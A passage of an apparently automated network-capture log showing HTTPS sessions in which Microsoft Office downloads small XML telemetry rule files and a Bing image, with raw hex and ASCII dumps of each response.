T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.6	49750	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:23 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:23 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:23 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: dc0e488f-901e-005b-3891-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004123Z-174f7845968cdxdrhC1EWRg0en0000000uq000000000669u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 00:41:23 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	49753	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:24 UTC	346	OUT	GET /th?id=OADD2.10239389015250_1EM28GMNOE6XCF0WZ&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-26 00:41:24 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 600192 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 79FF1ADFD8374C829DA408222082D9BB Ref B: EWR30EDGE0118 Ref C: 2024-11-26T00:41:24Z Date: Tue, 26 Nov 2024 00:41:23 GMT Connection: close
2024-11-26 00:41:24 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 1c ea 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 35 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 34 3a 30 34 3a 31 38 20 31 34 3a 35 33 3a 33 30 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 01 00 00 07 80 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``ExifMM*bj(1r2i``Adobe Photoshop 25.5 (Windows)2024:04:18 14:53:308
2024-11-26 00:41:24 UTC	16384	IN	Data Raw: 68 81 77 2d 3f e6 ab d0 d9 6e a9 a3 b0 ff 00 a6 75 9b a8 96 c5 2a 6c c7 60 cd 43 47 5b 4b a7 54 9f d9 db bf e5 9d 2f 6a 8a 54 9d 8c 25 8f 75 3d 6d d8 d6 e2 e9 9b 3f e5 9d 48 ba 7d 2f 6c 3f 62 61 fd 9e a5 58 da b6 bf b3 ea 48 74 cf dd ff 00 ab a9 75 83 d8 dc ca 8d 1a ae 5b 86 fe 2a d0 87 4f fe ed 5b b7 d3 2a 5d 52 bd 8e 96 29 db c5 ba ac c7 6e b5 7e df 4f 6a b9 0d 95 43 a8 2e 5e c6 64 36 eb ff 00 3c ea c2 d9 6e fb b5 a5 0d 9e da b5 1d bd 2e 71 58 c8 86 d1 96 b4 ac c6 df 96 ad ad a2 d2 f9 4a 95 2e 62 48 96 3b 7d f1 fc b4 e8 ec 37 7d ea 48 67 d9 f7 aa d4 37 1b e9 73 5f 71 38 b5 a9 04 d6 6b 54 2f 2c 57 ef 56 ef c8 d5 0d c4 5b e3 da b4 f9 88 d8 e7 16 36 49 2a dd b9 dd 26 dd 95 3c 96 cc b2 7f ab a9 63 b7 fe ed 57 32 07 b6 84 73 45 fb bf 96 a9 ec ad 29 23 95 63 Data Ascii: hw-?nul`CG[KT/jT%u=m?H}/l?baXHtu[O[]R)n~OjC.^d6<n.qXJ.bH;}7}Hg7s_q8kT/,WV[6I&<cW2sE)#c
2024-11-26 00:41:24 UTC	16384	IN	Data Raw: 6c 69 31 48 c2 97 30 ec 2f 99 b6 97 cd 6a 8f 6f b5 1b 7d a8 e6 0e 52 4f 3d 9a a4 59 5a a1 51 4e 54 6a 1c 87 cb 7d 8b 51 c9 53 db c9 ba aa 46 8c d5 6e de 3a cc 39 4b 31 bb 50 ce d4 e8 63 a5 f2 de 8b a3 4e 56 43 20 66 a2 a6 68 28 a2 e8 5c ac d9 6f 9a 97 15 67 66 ea 3c ba 77 39 ad 62 1d 9b a9 5a 05 a7 aa 54 ab 48 16 85 46 82 9c b0 ee ab 4a 29 71 41 49 95 96 2d b4 e5 4a b0 a2 97 1b a8 02 b7 97 4e 68 ea 5c 53 b1 40 26 56 f2 37 53 7c 8a bb 8a 4a 07 72 aa c6 b4 ff 00 2a a7 da 94 28 a0 2e 42 b1 d1 e5 d5 8a 4c 50 22 0f 2e 9c c9 53 52 62 80 21 d8 f4 62 a6 c5 25 00 46 bb ea 45 0c b4 8a 28 ce da 00 16 99 71 4e 69 16 a3 69 28 07 aa 12 de 7d 92 6d 6a 9b ed 49 59 d7 12 2a fd da ab 74 d4 11 63 5a 6b 98 9b fe 5a 55 56 93 77 fc b4 ac 96 96 55 a1 64 96 ad 44 6d 33 4b 3b 7e Data Ascii: li1H0/jo}RO=YZQNTj}QSFn:9K1PcNVC fh(\ogf<w9bZTHFJ)qAI-JNh\S@&V7S\|Jr(.BLP".SRb!b%FE(qNii(}mjIYtcZkZUVwUdDm3K;~
2024-11-26 00:41:24 UTC	16384	IN	Data Raw: f8 96 2f 10 68 3f 68 8f 72 ae df b7 7e ff 00 77 cd ba bd bf 45 81 97 58 46 59 24 f2 eb 7f c4 17 bf 0c b5 6f 14 ea 17 d6 7e 13 db f6 c7 8e 2d 33 ec ee b1 2c 33 0e 3c cd ab c7 de a9 74 1b 0d 9a ab b4 d1 c8 bb 7f f1 fa ed 96 65 2a d4 6f 3a 52 83 b6 d2 b5 ff 00 06 f6 3e 73 3b 92 55 e9 c2 15 23 25 ae b1 e9 af 53 cb 3e 00 d9 6a 71 6b 9e 29 93 52 8e 3f 2e 5b b6 fb 3e c7 dd f2 f9 87 ad 79 8d c6 97 e2 8f b0 eb ca d7 69 e6 36 a2 ad 6f fb fd db 23 f3 0d 7d 49 67 77 a1 eb 3a 95 cc da 0f 87 a0 d2 fe cf 68 b1 dc 6c db ba e5 84 87 e7 38 ae 1f e0 1f 88 bc 35 e1 1d 57 c4 3a 85 f5 ac 1a 8d c4 a9 24 50 a5 bb af c8 c6 47 fb fb ab 8e a6 26 bc a8 ce a4 68 c9 cb 4f 76 ea ff 00 37 f8 9f 4b 80 ad 4b eb f3 8a ab 1e 5e 58 eb 67 66 73 bf 07 ed 6f bf e1 38 d4 e4 ba 8e 36 b7 7d 3a 3f Data Ascii: /h?hr~wEXFY$o~-3,3<te*o:R>s;U#%S>jqk)R?.[>yi6o#}Igw:hl85W:$PG&hOv7KK^Xgfso86}:?
2024-11-26 00:41:24 UTC	16384	IN	Data Raw: 9f 6b 4f 36 2d bf ee 1e 2b 48 c7 9b 91 b5 cc fe ef cc 75 25 ca a4 97 ba 8b 9a 2c 76 3e 7b b5 9d 85 f5 ac 7f 64 85 52 69 9d a5 59 9b 77 cd db 1d 2b 9f f8 c5 e4 59 6a ba 4b 2d dc 77 fb 77 33 a2 23 2a a7 b7 35 57 41 f1 e4 10 5f 3b 5e 41 3a c7 71 fc 10 ff 00 aa 4f a2 74 5a cb f8 e9 7b 06 ad 3d 8b 69 b2 7d a1 95 1b 7a 27 de 4a f6 b0 d4 27 1b 29 3b 23 c5 af 55 7b 47 65 73 bc f0 fd fc 5a bd ae 9f a2 da c1 22 dc 2f 99 3a 23 dd 2c 4b b7 6f 45 90 e6 b9 1f 17 68 9e 33 5b 1b ed 7b 56 fb 2d 82 da f9 7b ed df 51 fd fc ca ed f2 ec 1f c7 ef 5e 65 18 d5 56 4f dd f9 f1 32 fc a9 fc 34 ba 90 d7 22 9f c9 be 92 76 65 fe fb ee fc a8 a7 97 ba 75 79 a1 25 67 df 72 ea 63 25 52 09 4a fa 1a 7e 28 4b c9 63 46 ba 9f cd 56 4f 93 7b d7 11 67 77 fe 83 a8 2c 76 1e 6e db 98 d5 f6 27 fb 5d Data Ascii: kO6-+Hu%,v>{dRiYw+YjK-ww3#*5WA_;^A:qOtZ{=i}z'J');#U{GesZ"/:#,KoEh3[{V-{Q^eVO24"veuy%grc%RJ~(KcFVO{gw,vn']
2024-11-26 00:41:25 UTC	16384	IN	Data Raw: 8f 07 7c 4e d0 7e 0e 69 37 5e 24 f8 a1 1f 88 34 84 d4 23 59 b4 f4 d3 96 2d f2 33 1d af e6 e7 2f 86 e7 9a e4 3e 0d fc 48 f8 c3 fd b1 a7 f8 33 c2 3a ee 95 6f 66 d2 ec b7 8a ee 0f e2 ff 00 69 bf bb 5d 0f c6 ff 00 80 3a ff 00 81 7e 1f e9 fa ed c7 c5 0d 73 5e b4 b7 bb 8e 06 d2 af 93 f7 0b bf e5 56 5f 9b a8 a9 fc 13 fb 2b f8 ce 6b 3b 1f 1b e8 ff 00 11 60 d2 ef 2e b6 bc 30 fd 89 9b c9 cf 01 b7 ee fb df 85 74 d1 8d f0 6e 33 69 bb f4 bd ba 7a 19 54 aa bd b7 3a 7a 3f 24 bf 03 3b c7 17 1f 18 3c 3b f1 c6 d3 fb 62 ef 47 d5 3c 66 d1 23 5b dc 43 1b 7d 8f 6b f0 a3 18 1b 40 ae c3 53 b9 fd a5 d3 47 d6 b5 fd 52 ff 00 c1 fe 5d 9c a9 f6 db 1f 21 bf 7c a3 ee 88 9b 18 fc eb 93 d6 be 11 fc 51 d5 7e 2c ff 00 c2 21 75 e3 6f b7 78 92 de da 39 5f 5e fd e2 aa 47 fc 27 6f 50 47 b5 75 Data Ascii: \|N~i7^$4#Y-3/>H3:ofi]:~s^V_+k;`.0tn3izT:z?$;<;bG<f#[C}k@SGR]!\|Q~,!uox9_^G'oPGu
2024-11-26 00:41:25 UTC	16384	IN	Data Raw: 66 48 f7 7f 73 7f cf 56 be 02 78 57 fe 13 3f 03 cb 1e b5 a9 5d 25 c5 bc ca b1 43 32 32 aa 2f d3 22 ba 75 f0 ce b9 e1 fd 51 b4 9d 2b fb 56 68 6d 77 7e f6 d2 d7 72 fc eb f7 86 e7 fb d5 f3 78 cc 45 49 57 6d 6a d6 9a 37 63 d4 c2 aa 74 e3 cb a5 fc cf 02 d6 34 ff 00 14 4b fd a7 63 75 e7 c4 b2 cc b2 cd 0e f5 55 75 ea 9b 93 76 39 aa 7a 3f 86 e0 bf b1 b8 be 5f 22 fe 3b 74 ff 00 48 87 ed 4b 6a c8 df ec ff 00 7e bd f3 c7 da 2e a5 75 e1 d4 86 f2 c6 fa ce 17 da b7 1a 8d dc 1f 36 dd b8 db f7 8f de af 01 f1 34 f1 24 76 fa 5e 87 3f da b4 fb 57 69 7c e4 b1 68 99 1b a7 2e 79 65 af 5b 2e c7 55 c4 2f 66 97 23 38 71 78 7a 74 ff 00 7b 2f 79 7a 9a fa 1e a7 6d e1 cd 1f 53 f0 ef 88 20 b5 96 ea e1 17 64 d0 ce b3 ec ca fa af b5 73 f7 5a dd f6 93 63 77 1d 8d df da ad 67 75 5d 8e 9f Data Ascii: fHsVxW?]%C22/"uQ+Vhmw~rxEIWmj7ct4KcuUuv9z?_";tHKj~.u64$v^?Wi\|h.ye[.U/f#8qxzt{/yzmS dsZcwgu]
2024-11-26 00:41:25 UTC	16065	IN	Data Raw: c5 8d d5 dd d6 93 a6 e9 b6 f1 aa 5d c3 b9 a2 bd 6f e2 91 4c 99 09 fe ef dd ae 82 cf c3 17 9a 4f c5 8d 3e dd a4 93 fe 26 90 dc 32 7f c0 2b a2 f1 57 86 ef af 6d 7c 9f 33 ca 56 fe 0d 8d 4a a7 15 34 e3 2e 8d 0a 9f 0f c6 d2 57 fc 0f 2d d7 2d 2d ad 7c 4d 71 a7 e9 f3 c9 7f 6f 6f b7 c9 bb 48 36 ac cb f5 1c 6e ad 9f 09 f8 4d b5 cd 35 35 2d 43 c4 32 41 6b 6b 76 cb f6 79 9d 76 a6 3e be b5 8d e0 db 79 ed 6f af ac da 7d bf 67 bb 92 2d 9f 4a 9f c4 11 c4 ff 00 68 93 ec 9f 2c 49 fb ef 25 d7 e7 63 fc 5b 3f 8a be 8f 03 8e a9 8c 93 a7 7b 79 fd c7 99 8d c0 53 c1 52 8d 5d ee ec 73 1e 2a f3 d7 c4 17 d6 71 c9 f6 7b 75 b8 93 63 bf dd db d8 fd 2b 73 c2 a1 ad 67 b4 b7 fb b1 db a2 b7 df 66 57 fc 0f f4 a3 43 8f 4f f2 e1 b5 ba d1 75 59 64 57 f3 51 ed d3 73 79 9d 97 0d da b6 2e 35 7d Data Ascii: ]oLO>&2+Wm\|3VJ4.W---\|MqooH6nM55-C2Akkvyv>yo}g-Jh,I%c[?{ySR]s*q{uc+sgfWCOuYdWQsy.5}
2024-11-26 00:41:25 UTC	16384	IN	Data Raw: eb 8c 70 37 4f 91 1e 01 f1 63 4b d2 2c 3c 4d 71 ff 00 08 8e ad 7d 71 a2 f9 ca b6 f0 ea 6f ba 58 57 dd 97 ef 0d d5 ce e9 b6 77 3f 6a 99 5b 64 bb 9d 55 3f d2 be 5e 7d 2a d7 88 b5 0b eb ab 4d 3f ed 96 13 db c7 6f 0b 7d 92 67 4d aa ff 00 37 38 38 f9 bf a5 68 78 44 b5 c4 16 f2 49 27 9a cd 32 fc ff 00 f0 2a f6 b2 f9 54 fa bd e6 ee cf 23 32 8d 38 d7 b5 25 64 68 7c 62 45 b7 8f 43 b1 b8 8e d6 de 6b 5b 45 57 7d ed 2f eb 58 7e 13 92 06 d6 2d e3 58 ed 59 96 e2 3f 9f 7b 2e fa e8 7e 39 18 9b c4 10 ed f9 7e 45 ae 4b 45 78 12 47 68 e3 f2 a4 f3 97 7f ce cb 5d 14 f4 a4 91 c7 27 fb db 9e d5 e3 ef 07 cf a8 c7 6f aa 69 f3 e9 ab 75 2b aa bc 33 6a 8a b2 cc c7 ee f1 21 1f f8 ed 72 b1 db 6a ba 35 f5 de 8f 25 dc f1 49 15 c3 45 77 6f f6 ad cb b8 75 5f 93 ad 5a f1 93 d8 dc 78 1f 46 Data Ascii: p7OcK,<Mq}qoXWw?j[dU?^}M?o}gM788hxDI'2T#28%dh\|bECk[EW}/X~-XY?{.~9~EKExGh]'oiu+3j!rj5%IEwou_ZxF
2024-11-26 00:41:25 UTC	16384	IN	Data Raw: 0a 91 6a 72 df a1 4f e1 ac fa d7 8a a0 fb 75 bf 87 ae 96 d5 66 58 92 e1 20 66 8b 71 f5 70 31 5f 4d 6b bf 0b 3c 53 a9 c9 69 aa 5a 68 73 37 97 a7 47 13 7f 0b 26 17 fb ad 82 df 85 7c b5 f0 bf e2 c7 89 3c 3d e0 1d 43 c2 1e 11 d7 26 b5 d3 04 ab 77 2a f9 0a db 30 df c0 df 87 35 d2 6b 9f b5 1f c4 ad 4d d2 fe c7 e2 0d d5 84 91 27 91 2f fc 4b a3 f2 b7 7a ed ac f1 50 c5 d4 6b dc d3 d4 d3 0f 2c 35 34 fd ff 00 c1 9e 39 ad 5b 5f 41 e2 3f 26 ea c3 ec f7 11 5d b4 4f 0f dd 64 61 26 2b d3 7c 5d 1f 8c 55 12 c7 58 82 78 af 96 1f f4 78 6e 27 69 e5 75 3d d3 24 ff 00 0f a5 6f fe cf ff 00 0f b4 5f 1e 58 bf 8a 35 6d 5a ee ff 00 50 8a f9 9a 69 9d 15 55 e4 66 df 91 5b 97 da cd a7 89 be 31 24 3f 11 bc c9 74 bb 0d d6 9b f4 cb 5d b7 4f 1a 7d df f5 58 3b a8 ab 57 96 51 f7 56 8b e6 bd Data Ascii: jrOufX fqp1_Mk<SiZhs7G&\|<=C&w*05kM'/KzPk,549[_A?&]Oda&+\|]UXxxn'iu=$o_X5mZPiUf[1$?t]O}X;WQV

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.6	49754	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:24 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:24 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:24 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 417b6c53-401e-0029-0d91-3f9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004124Z-174f78459685m244hC1EWRgp2c0000000ugg000000006smy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 00:41:24 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.6	49755	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:24 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:24 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 106d127d-401e-008c-1a91-3f86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004124Z-174f78459684bddphC1EWRbht40000000ueg000000006dpc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 00:41:25 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.6	49756	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:24 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:25 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:25 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: e9babc56-001e-0049-5291-3f5bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004125Z-174f7845968swgbqhC1EWRmnb40000000urg0000000068v3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 00:41:25 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.6	49757	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:25 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:25 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:25 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: a99e6065-701e-006f-4d91-3fafc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004125Z-174f7845968swgbqhC1EWRmnb40000000uu000000000662m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 00:41:25 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.6	49758	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:25 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
